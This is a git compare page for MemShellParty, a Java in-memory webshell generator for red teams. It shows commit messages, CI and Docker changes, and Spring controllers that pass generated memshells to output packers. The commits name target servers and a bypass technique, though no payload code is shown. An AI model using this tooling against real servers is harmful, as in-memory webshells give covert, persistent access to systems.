Compare commits

...
107 Commits
Author SHA1 Message Date
ReaJason de943d6b39 refactor: rm useless field
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-30 21:21:37 +08:00
ReaJason c392605cb0 test: update dubbo deps 2026-03-30 21:20:57 +08:00
ReaJason d0c9eecdad fix: proxy OOM
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-25 23:54:15 +08:00
ReaJason e793d573d4 fix: dubbo3 inject failed
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-21 10:01:59 +08:00
ReaJason cf8f731e56 fix: NPE
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-03-21 01:12:52 +08:00
ReaJason 51b7e8e17f feat: support dubbo service memshell 2026-03-21 00:51:42 +08:00
ReaJason 25e1b3964a feat: use thirdparty for class conflict
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-19 00:33:14 +08:00
ReaJason 9d2b4c7774 fix: controller cannot click generate button
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-04 12:45:45 +08:00
ReaJason 3599fa4e14 refactor: rm unused allPackResults field 2026-03-04 12:45:45 +08:00
ReaJason d4718dcff5 ci: downgrade integration-test runner
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-02-27 14:19:38 +08:00
ReaJason 1aa528e51f build: packer compile failed
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
2026-02-27 09:28:26 +08:00
ReaJason b38c65b254 feat: java swing gui
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-02-26 22:55:45 +08:00
ReaJason 9243070126 feat: support packer config 2026-02-26 22:55:45 +08:00
ReaJason 0d3b56de63 chore: 2.6.0 2026-02-08 20:53:50 +08:00
ReaJason 995e0184ea docs: update CHANGELOG 2026-02-08 20:44:00 +08:00
ReaJason 2a4e82e9e1 chore: upgrade deps 2026-02-08 20:44:00 +08:00
ReaJason 713d24e336 Revert "test: vul-webapp failed in servlet 2.3"
This reverts commit 93971fc66c.
2026-02-08 20:44:00 +08:00
ReaJason 5ddbca566e feat: support resin2 agent shell 2026-02-08 20:44:00 +08:00
ReaJason 9213b9365e test: vul-webapp failed in servlet 2.3 2026-02-08 20:44:00 +08:00
ReaJason 96764e2a5a refactor: rm jsp generic syntax 2026-02-08 20:44:00 +08:00
ReaJason 5ea851c438 build: add publishAllToMavenLocal task 2026-02-08 20:44:00 +08:00
ReaJason 5f95748029 refactor: use Suo5V2Loader 2026-02-08 20:44:00 +08:00
zema1 f9522c1cb1 feat: sync suo5 v2.1.0 2026-02-08 20:44:00 +08:00
ReaJason d8fa51f317 refactor: simplify code 2026-02-08 20:44:00 +08:00
ReaJason 027987fcf2 feat: add postProcessBytes for ByteBuddyShellGenerator 2026-02-08 20:44:00 +08:00
ReaJason b40fc59668 fix: method body write failed with jakarta renamed
ByteBuddy Advice cache the class method list at first, the method signature will be changed when use jakarta rename, if follow advice need enhance the javax method, it will not find method signature. because ByteBuddy cached javax method, but follow advice need find the jakarta method, boom~
2026-02-08 20:44:00 +08:00
ReaJason ca26e37c21 chore: 2.5.1-SNAPSHOT 2026-02-08 20:44:00 +08:00
ReaJason 3fbf20cc70 fix(ui): prevent-duplicate-clicks not work 2026-02-08 20:44:00 +08:00
ReaJason c045121438 chore: upgrade deps 2026-02-08 20:44:00 +08:00
ReaJason f60d4108ad chore: 2.5.0 2026-01-19 00:28:52 +08:00
ReaJason fe5760409a test: skip tomcat7 ws 2026-01-19 00:18:15 +08:00
ReaJason 40632a7308 build: image not found 2026-01-18 23:52:39 +08:00
ReaJason b49bb89025 chore: upgrade deps 2026-01-18 23:49:41 +08:00
ReaJason 336d0b1f5a test: add empty component 2026-01-18 23:49:41 +08:00
ReaJason 5ec48e7d41 docs: update changelog 2026-01-18 23:49:41 +08:00
ReaJason 8ba200089a test: jetty6 start failed 2026-01-18 23:49:41 +08:00
ReaJason e38a91f720 test: jdk assert error 2026-01-18 23:49:41 +08:00
ReaJason 60edda0cec refactor: probe integration-test 2026-01-18 23:49:41 +08:00
ReaJason c5bfd3d92e test: probe not work 2026-01-18 23:49:41 +08:00
ReaJason 159f501179 fix: NPE 2026-01-18 23:49:41 +08:00
ReaJason ff6d1b6f9e fix: weblogic upload jsp failed 2026-01-18 23:49:41 +08:00
ReaJason 8402bd9d51 feat: add jsp unicode packer 2026-01-18 23:49:41 +08:00
ReaJason 7c126d8189 refactor: memshell integration-test 2026-01-18 23:49:41 +08:00
ReaJason 03c138206a test: skip proxy 2026-01-18 23:49:41 +08:00
ReaJason 8b1cf078f3 feat: support ws proxy 2026-01-18 23:49:41 +08:00
ReaJason 3e4c5e5b38 test: add filter 2026-01-18 23:49:41 +08:00
ReaJason b49ad1581f refactor: change godzilla websocket base64 to raw 2026-01-18 23:49:41 +08:00
ReaJason bf50918a99 docs: add some highlights 2026-01-18 23:49:41 +08:00
ReaJason be051d3147 feat: add proxy ws 2026-01-18 23:49:41 +08:00
ReaJason f780886f08 docs: add websocket usage 2026-01-18 23:49:41 +08:00
ReaJason b46959e059 refactor: rename test case 2026-01-18 23:49:41 +08:00
ReaJason 3e2d977562 feat: support Tomcat Command WebSocketBypassNginx 2026-01-18 23:49:41 +08:00
ReaJason b45efd8e1e refactor: rename asserts to assets 2026-01-18 23:49:41 +08:00
ReaJason ee9288debd refactor: change field location 2026-01-18 23:49:41 +08:00
ReaJason 1518432fde feat(ui): add targetJdkVersion field 2026-01-18 23:49:41 +08:00
ReaJason 302e8fbb8f refactor(ui): change serverVersion field localtion 2026-01-18 23:49:41 +08:00
ReaJason 4955c9d4a2 fix(ui): file input height error 2026-01-18 23:49:41 +08:00
ReaJason cf492e68ea refactor: optimize import 2026-01-18 23:49:41 +08:00
ReaJason 39eab10281 chore: 2.4.3-SNAPSHOT 2026-01-18 23:49:41 +08:00
ReaJason ba9c0be2a4 feat: add jakarta-api deps 2026-01-18 23:49:41 +08:00
ReaJason 23f310ca8a feat: shellConfig support set isJakarta field 2026-01-18 23:49:41 +08:00
ReaJason 9d9d33f612 build: autoRelease and validateComponents 2026-01-18 23:49:41 +08:00
ReaJason da1a5f70ef ci: update ci 2026-01-13 20:34:36 +08:00
ReaJason 69e8e20a6a ci: add test workflow 2026-01-13 20:29:05 +08:00
ReaJason a1f32c5bf2 chore: 2.4.2 2026-01-12 02:21:44 +08:00
ReaJason 6b10b3f56f chore: update libs 2026-01-12 02:12:34 +08:00
ReaJason 3e3d82218c docs: update changelog 2026-01-12 02:12:34 +08:00
ReaJason 202924aa54 fix: NPE 2026-01-12 02:12:34 +08:00
ReaJason 054e22bc3d fix: context not found test not work 2026-01-12 02:12:34 +08:00
ReaJason fa92930353 feat: support FilterProbe generate 2026-01-12 02:12:34 +08:00
ReaJason 52437d67be refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 117b48a9d0 feat: support servletNameFilter 2026-01-12 02:12:34 +08:00
ReaJason 3fe9a932ba feat: support servletNameFilter for WebLogicFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 1772c08f22 feat: support servletNameFilter for UndertowFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason e44caeba1b feat: support servletNameFilter for GlassFishFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 4f080df85a feat: support servletNameFilter for JettyFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 7562469b44 feat: support servletNameFilter for TomcatFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 359931a881 chore: add libs git submodule 2026-01-12 02:12:34 +08:00
ReaJason 8c20f18c70 feat: support addFilterFirst for WebSphere 2026-01-12 02:12:34 +08:00
ReaJason dace117e73 feat: support filterProbe for WebLogic 2026-01-12 02:12:34 +08:00
ReaJason 5c0d26ae16 refactor: simplify WebLogic getContext 2026-01-12 02:12:34 +08:00
ReaJason 8e9d47bbea feat: support addFilterFirst for TongWeb 2026-01-12 02:12:34 +08:00
ReaJason c1f1802182 feat: support addFilterFirst for Apusic/InforSuite 2026-01-12 02:12:34 +08:00
ReaJason dc7958e123 refactor: use commonUtil for packageName 2026-01-12 02:12:34 +08:00
ReaJason d59bb9d29f fix: classNotFound 2026-01-12 02:12:34 +08:00
ReaJason 3e966f8fab feat: support addFilterFirst for GlassFish 2026-01-12 02:12:34 +08:00
ReaJason f940a528f0 test: add JBossAS filterProbe test 2026-01-12 02:12:34 +08:00
ReaJason 0b48dd64bd feat: support addFilterFirst for undertow 2026-01-12 02:12:34 +08:00
ReaJason bf213ae575 fix: undertow filter cache 2026-01-12 02:12:34 +08:00
ReaJason c8ede922b9 feat: support addFilterFirst for resin 2026-01-12 02:12:34 +08:00
ReaJason c0a059fbdc refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason b4f8e62fc7 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 1c0d65b353 feat: support addFilterFirst for jetty 2026-01-12 02:12:34 +08:00
ReaJason f26727e6fc test: support remote docker runner 2026-01-12 02:12:34 +08:00
ReaJason 2b1388c8eb test: add classes 2026-01-12 02:12:34 +08:00
ReaJason 9f7b4276e2 test: fix GlassFish filter 2026-01-12 02:12:34 +08:00
ReaJason b992e5f60e build: use pip mirror 2026-01-12 02:12:34 +08:00
ReaJason de69a63be5 chore: upgrade deps 2026-01-12 02:12:34 +08:00
ReaJason de462ae8b0 refactor: change method order 2026-01-12 02:12:34 +08:00
ReaJason d873dae8f3 feat: support addFilterFirst for tomcat 2026-01-12 02:12:34 +08:00
ReaJason 3e2fb861cd ci: test build on windows 2026-01-12 02:12:34 +08:00
ReaJason cbc71e5a52 feat: support open-liberty javaee 2026-01-12 02:12:34 +08:00
ReaJason ad8d2713ad docs: add WIP structure 2026-01-12 02:12:34 +08:00
ReaJason b04a34f1ab docs: add shellType table 2026-01-12 02:12:34 +08:00
ReaJason 2f325934e1 test: add more cases 2026-01-12 02:12:34 +08:00
ReaJason b47e437889 chore: 2.4.2-SNAPSHOT 2026-01-12 02:12:34 +08:00
ReaJason d1edb8fbdf fix: sub ui.data not found 2026-01-12 02:12:34 +08:00
590 changed files with 24768 additions and 20715 deletions
+12 -3
View File
@@ -12,7 +12,10 @@ on:
jobs:
build-jar:
name: Build Jar
runs-on: ubuntu-latest
strategy:
matrix:
os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
@@ -39,10 +42,16 @@ jobs:
working-directory: web
run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle
- name: Build Boot with Gradle (Linux)
if: matrix.os == 'ubuntu-latest'
run: ./gradlew :boot:test :boot:bootjar
- name: Upload Boot Jar
- name: Build Boot with Gradle (Windows)
if: matrix.os == 'windows-latest'
run: ./gradlew.bat :boot:test :boot:bootjar
- name: Upload Boot Jar (Linux)
if: matrix.os == 'ubuntu-latest'
uses: actions/upload-artifact@v4
with:
name: boot
@@ -50,7 +50,7 @@ jobs:
depend_tasks: ""
- middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-latest
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
+1 -1
View File
@@ -44,7 +44,7 @@ jobs:
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-latest
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
@@ -0,0 +1,47 @@
name: Single IntegrationTest
on:
workflow_dispatch:
inputs:
depend_tasks:
description: '前置构建任务,如 :boot:jar :generator:jar'
required: false
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
type: string
test_class:
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
required: true
type: string
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
integration-test:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
if: ${{ inputs.depend_tasks != '' }}
run: ./gradlew ${{ inputs.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
+3
View File
@@ -0,0 +1,3 @@
[submodule "libs"]
path = libs
url = https://github.com/ReaJason/javaweb-sources.git
+3 -3
View File
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend
ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH=""
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
WORKDIR /usr/src
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:17.0.15_6-jre-noble
FROM eclipse-temurin:17.0.17_10-jre-noble
LABEL authors="ReaJason<[email protected]>"
+4 -4
View File
@@ -25,10 +25,10 @@
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
<p align="center">
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
<img src="asserts/about_page.png" alt="about_page" width="24%">
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
<img src="assets/about_page.png" alt="about_page" width="24%">
</p>
## 主要特性

Before

Width:  |  Height:  |  Size: 92 KiB

After

Width:  |  Height:  |  Size: 92 KiB

Before

Width:  |  Height:  |  Size: 136 KiB

After

Width:  |  Height:  |  Size: 136 KiB

Before

Width:  |  Height:  |  Size: 236 KiB

After

Width:  |  Height:  |  Size: 236 KiB

@@ -2,7 +2,7 @@ FROM python:3.12-slim
WORKDIR /app
RUN pip install requests
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
COPY neoreg.py .

Before

Width:  |  Height:  |  Size: 268 KiB

After

Width:  |  Height:  |  Size: 268 KiB

+1 -1
View File
@@ -1,4 +1,4 @@
FROM eclipse-temurin:17.0.14_7-jre-noble
FROM eclipse-temurin:17.0.17_10-jre-noble
LABEL authors="ReaJason<[email protected]>"
+3 -5
View File
@@ -1,6 +1,6 @@
plugins {
id("java")
id("org.springframework.boot") version "3.5.8"
id("org.springframework.boot") version "3.5.11"
id("io.spring.dependency-management") version "1.1.7"
}
@@ -26,16 +26,14 @@ extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
dependencies {
implementation(project(":generator")) {
exclude(group = "commons-logging", module = "commons-logging")
exclude(group = "com.reajason.javaweb", module = "thirdparty-tomcat")
}
implementation(project(":packer")) {
exclude(group = "commons-logging", module = "commons-logging")
}
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
implementation("org.springframework.boot:spring-boot-starter-web") {
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
}
implementation("org.springframework.boot:spring-boot-starter-web")
implementation(libs.commons.lang3)
implementation("org.springframework.boot:spring-boot-starter-undertow")
compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
@@ -29,6 +29,12 @@ public class GlobalExceptionHandler {
return new ErrorResponse(exception.getMessage());
}
@ResponseStatus(HttpStatus.BAD_REQUEST)
@ExceptionHandler(IllegalArgumentException.class)
public ErrorResponse handleIllegalArgumentException(IllegalArgumentException exception) {
return new ErrorResponse(exception.getMessage());
}
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
@ExceptionHandler(Throwable.class)
public ErrorResponse handleThrowable(Throwable throwable) {
@@ -34,10 +34,24 @@ public class ConfigController {
}
@RequestMapping("/packers")
public List<String> getPackers() {
return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(Packers::name).toList();
public List<PackerCategoryDTO> getPackers() {
List<PackerCategoryDTO> result = new ArrayList<>();
for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) {
PackerCategoryDTO category = new PackerCategoryDTO();
category.setName(entry.getKey());
List<PackerOptionDTO> options = new ArrayList<>();
for (Packers packer : entry.getValue()) {
PackerOptionDTO option = new PackerOptionDTO();
option.setName(packer.name());
option.setOutputKind(packer.getOutputKind());
option.setCategoryAnchor(packer.hasChildren());
option.setSchema(packer.getSchema());
options.add(option);
}
category.setPackers(options);
result.add(category);
}
return result;
}
@RequestMapping
@@ -66,4 +80,64 @@ public class ConfigController {
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
return commandConfigVO;
}
public static class PackerCategoryDTO {
private String name;
private List<PackerOptionDTO> packers;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public List<PackerOptionDTO> getPackers() {
return packers;
}
public void setPackers(List<PackerOptionDTO> packers) {
this.packers = packers;
}
}
public static class PackerOptionDTO {
private String name;
private String outputKind;
private boolean categoryAnchor;
private Object schema;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getOutputKind() {
return outputKind;
}
public void setOutputKind(String outputKind) {
this.outputKind = outputKind;
}
public boolean isCategoryAnchor() {
return categoryAnchor;
}
public void setCategoryAnchor(boolean categoryAnchor) {
this.categoryAnchor = categoryAnchor;
}
public Object getSchema() {
return schema;
}
public void setSchema(Object schema) {
this.schema = schema;
}
}
}
@@ -7,9 +7,11 @@ import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.JarPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import org.springframework.web.bind.annotation.*;
import java.util.Base64;
@@ -22,19 +24,24 @@ import java.util.Base64;
@RequestMapping("/api/memshell/generate")
@CrossOrigin("*")
public class MemShellGeneratorController {
@PostMapping
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof AggregatePacker) {
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
if (request.getPackerSpec() == null) {
throw new IllegalArgumentException("packerSpec is required");
}
Packers packers = Packers.fromName(request.getPackerSpec().getName());
Packer<?> packer = packers.getInstance();
if (packer instanceof JarPacker) {
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
JarPackerConfig<?> jarPackerConfig = generateResult.toJarPackerConfig();
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(jarPackerConfig)));
}
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
return new MemShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
}
}
@@ -2,8 +2,9 @@ package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.ProbeConfig;
@@ -23,11 +24,13 @@ public class ProbeShellGeneratorController {
ProbeConfig probeConfig = request.getProbeConfig();
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof AggregatePacker) {
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
} else {
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
if (request.getPackerSpec() == null) {
throw new IllegalArgumentException("packerSpec is required");
}
Packers packers = Packers.fromName(request.getPackerSpec().getName());
Packer packer = packers.getInstance();
ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
return new ProbeShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
}
}
@@ -2,9 +2,10 @@ package com.reajason.javaweb.boot.controller;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ClassPathResource;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.util.FileCopyUtils;
import org.springframework.web.bind.annotation.GetMapping;
